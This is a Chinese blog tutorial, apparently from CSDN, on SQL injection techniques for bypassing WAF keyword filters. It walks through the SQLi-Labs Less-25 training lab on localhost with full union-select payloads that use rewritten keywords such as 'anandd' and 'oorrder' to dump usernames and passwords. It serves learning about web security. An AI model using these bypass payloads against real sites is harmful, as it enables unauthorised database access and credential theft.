SQL注入-SQL注入的WAF绕过(十六)

实验目的

普及熟悉利用重写等方式绕过WAF关键字过滤、以实现SQL注入的方法。PS:面试时不要说打WAF靶场什么东西,就说重复大小写编码什么之类的

基本概念

WAF(WebApplicationFirewall)的中文名称叫做“Web应用防火墙”,它依靠安全策略对Web应用程序进行保护。安全策略是WAF的灵魂,所谓的“绕过WAF”就是指通过某种方式无视WAF的安全策略,达到攻击的目的。

方法1:变换大小写
>实例:比如WAF拦截了union,那就使用Union、UnloN等方式绕过。

方法2:编码
>实例1:WAF检测敏感字~,则可以用0x7e代替,如extractvalue(1,concat('~',database())
可以写成extractvalue(1,concat(0x7e,database())。
实例2:WAF检测敏感字admin,则可以用0x61646d696e代替,如select name,pass from users where name='admin'可以替换成select name,pass from users where name=0x61646d696e。

实例3:WAF检测敏感字select,可以在URL中将select变成%73elEcT,编码结合大小写
变换绕过WAF。
实例4:可以用%09、%0a、%0b、%0c、%0d、%a0、/**/、/*somewords*/等来替
换空格。

方法3:利用注释符
适用于WAF只过滤了一次危险的语句,而没有阻断整个查询语句的场合。
实例:原查询语句为:?id=1 union select1,2,3,对于这条查询,WAF过滤了一次union和select,我们可以在原查询语句union和select之前再写一个注释的语句,让WAF把注释里面的过滤掉,如?id=1/*union*/union/*select*/select1,2,3

方法4:重写
>适用于WAF只过滤一次敏感字的情况。
>实例:WAF过滤敏感字union,但只过滤一次,则可以写出类似ununionion这样的
过滤一次union后就会执行我们的查询了:?id=1 ununionion select 1,2,3

方法5:比较操作符替换
适用于某一比较操作符(如等号)被过滤的情况。

方法5:比较操作符替换
>实例1:!=不等于,<>不等于,<小于,>大于,这些都可以用来替换=来绕过。
比如要判断某个值是不是74,假设=被过滤,则可以判断是不是大于73,是不是小于75,
然后就知道是74了:
/id=1 and ascii(lower(mid((select pwd from users limit 1,1)1,1)))>73
/id=1 and ascii(lower(mid((select pwd from users limit 1,1)1,1)))<75
>实例2:WAF将=、>、<全部过滤,则可以利用like来绕过,如id=1or1like1

方法6:同功能函数替换
>适用于某一函数被过滤的情况。
>实例:假如substring()被WAF过滤,但substring()可以用同功能的mid(),substr()等函
数来替换,都是用来取字符串的某一位字符的
原查询语句:substring((selecti 'password'),1,1)=0x70
替换后的查询语句:substr((select 'password'),1,1)=0x70
mid(select 'password'),1,1)=0x70

方法7:盲注的活用
适用于页面无回显或多种函数、逻辑运算符被过滤的情况:实例:strcmp(expr.expr2)用来比较两个值,如果exprl=expr2,则函数返回0,expr1<expr2则返回-1,expr1>expr2则返回1。假如index.php?uid=123页面返回是正确的,但WAF过滤了and和or,原查询语句index.php?uid=123 and left((select hash from users limit 0,1),1)='B',可用index.php?uid=strcmp(left((select hash from users limit 0,1),1),0x42)+123来替换,通过盲猜hash的第一位,如果第一位等于0x42也就是B,那么strcmp()将返回0,0+123=123,所以页面应该是正确的。否则就说明不是B,这样猜就不用and和or了

方法8:二阶注入
二阶注入与普通注入的区别
普通SQL注入:发生在一个HTTP请求和响应中,对系统的攻击是立即执行的:(1)
攻击者在http请求中提交非法输入;(2)应用程序处理非法输入,使用非法输入构
造SQL语句;(3)在攻击过程中向攻击者返回结果。
二阶SQL注入:(1)攻击者在http请求中提交某种经过构思的输入;(2)应用程
序存储该恶意输入(通常保存在数据库中)以便后面使用并响应请求;(3)攻击者
提交第二次(不同的)http请求;(4)为处理第二次http请求,程序会检索存储在
数据库中的恶意输入并进行处理,从而导致攻击者构造的SQL查询被执行;(5)如
果攻击成功,在第二次请求响应中向攻击者返回查询结果。

方法9:宽字节注入
适用于数据库使用双字节编码方式(如GBK)、WAF利用Addslashes()等函数对
敏感字符进行转义的场景。
背景:
统一的国际规范的理想状态:程序都使用Unicode编码,所有的网站都使用UTF-8编
码。
现状:国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编
码,比如GBK。也有一些cms为了考虑老用户,所以出了GBK和UTF-8两个版本。

实验环境

攻击机:一直游到海水变蓝
(1)操作系统:Windows10
(2)安装的应用软件:sqlmapBurpsuiteFireFox浏览器插件Hackbar
FoxyProxy等
(3)登录账号密码:操作系统帐号Admin,密码qazwsx
靶机:化身孤岛的蓝鲸

(1)操作系统:本机(建议用虚拟机,特别是公司系统都是Linux)不过我太懒了(‾◡◝)
(2)安装的应用软件: Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、  
Webug3.0漏洞网站环境  
(3)登录账号密码:操作系统帐号root,密码684264

实验原理

WAF( Web Application Firewall)的中文名称叫做"web应用防火墙",通过检查HTTP的流量,它可以防御Web应用安全漏洞,如阻止SQL注入、跨站脚本(XSS)、文件包含和安全配置错误等漏洞引发的攻击作为攻击者来说,常见的绕过WAF的方式包括大小写变换、编码、重写、巧用注释符、巧用盲注、同功能函数替换等其中,重写适用于WAF只过滤一次敏感字的情况。比如WAF过滤敏感字 union但只过滤一次,则可以写出类似 ununionion这样的,过滤一次 union后就会执行我们的查询了。

实验步骤

本实验的目标是:以sQL-Labs网站的Less-25为入口,利用联合查询( unionselect)的方式绕过WAF关键字过滤机制并成功实施SQL注入,获取SQLi-Labs网站的登录用户名和密码

网站的登录用户名和密码

1.访问SQLi-Labs网站

在攻击机 Pentest-Atk打开 FireFox浏览器,并访问靶机A-SQLi-Labs上的sQLi-Labs网站Less-25。访问的URL为:

http://[靶机IPl/sqli-labs/Less-25/

登录后,根据网页提示,先给定一个GET参数,即

http://l靶机IPl/sqli-labs/Less-25/?id=1

此时页面显示id=1的用户名Dump、密码Dump。

说明:本实验环境中FireFox浏览器已预安装Hackbar插件,在FireFox界面 按下键盘上的F9键启用或停用(本实验环境中默认为启用状态)。建议在注入 过程中用Hackbar插件来调整payload参数。

2.寻找注入点及判断WAF过滤的关键字,分别使用以下4条 payload寻找注入点、判断注入点的类型以及WAF过滤的关键字

http://[靶机IPl/sqli-labs/Less-25/?id=1'

http://127.0.0.1/sqli-labs-master/Less-25/?id=1’

运行后报错!

http://127.0.0.1/sqli-labs-master/Less-25/?id=1’ and '1'='1

运行后页面显示的并不是id=1的用户名和密码,且提示原本输入的 payload中"and"被删除了!

同理,经过尝试, payload中的“or”也会被删除

http://127.0.0.1/sqli-labs-master/Less-25/?id=1’ anandd '1'='1

运行后正常显示id=1的用户名和密码,虽然原本输入的 payload中"and"被删除但只删除一次!

http://127.0.0.1/sqli-labs-master/Less-25/?id=1’ anandd '1'='2

运行后未正常显示!

由上述结果可以判断,网站存在字符型注入点,且WAF对“and”、“or”关键字进行过滤,但只过滤一次。因此,在后续的注入步骤中,payload中只要存在“and”、“or”这样的固定字符串,都需要使用重写方式绕过WAF的过滤

3.判断网站查询的字段数

尝试使用以下 payload获取网站查询的字段数(关键字 order by)

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' oorrder by 1--+

//注意:“order”当中含有“or”,因此也需要重写,即“oorrder”

正常显示!

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' oorrder by 2--+

正常显示

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' oorrder by 3--+

正常显示 

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' oorrder by 4--+

报错

判断网站的回显位置

利用以下 payload判断网站的回显位置:

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' anandd 1=2 union select 1,2,3--+

执行的结果是:2号位和3号位可以回显!

5.获取网站当前所在数据库的库名

使用以下 payload获取网站当前所在数据库的库名

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' anandd 1=2 union select  1, 2,,database()--+

显示结果为 security

6.获取数据库security的全部表名
使用以下payload获取数据库security的全部表名:

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' anandd 1=2 union select 1, 2, group_concat(table_name) from infoorrmation_schema .tables where table_schema='security'--+

显示结果中,有一个名为 users的表,这当中可能存放着网站用户的基本信息

7.获取users表的全部字段名
使用以下payload获取users表的全部字段名:

http://127.0.0.1/sqli-labs-master/Less-25/?id=1'  anandd 1=2 union select 1, 2, group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name= 'users' --+

 8.获取 users表id、 username和 password字段的全部值

由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过 limit m,n的方式逐条显示,如

(1)显示第1组数据

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' anandd 1=2 union select 1,2, concat_ws(',',id,username,passwoorrd) from security.users limit 0,1--+

显示结果为Dump,Dump。

(2)显示第2组数据

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' anandd 1=2 union select 1,2, concat_ws(',',id,username,passwoorrd) from security.users limit 1,1--+

显示结果为Angelina,l-kill-you

(3)显示第3组数据

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' anandd 1=2 union select 1,2, concat_ws(',',id,username,passwoorrd) from security.users limit 2,1--+

显示结果为Dummy,p@ssword。

 ...

以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全
部暴露出来。

SQL注入 ——sql数据库操作基础(一)_Gjqhs的博客-CSDN博客

SQL注入——SQLmap的进阶使用(十五)_Gjqhs的博客-CSDN博客

SQL注入-宽字节注入(十一)(面试热点)_Gjqhs的博客-CSDN博客

 ...

更多包括而不限于SQL注入的文章,关注我全部带走吧<( ̄︶ ̄)↗[GO!]

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值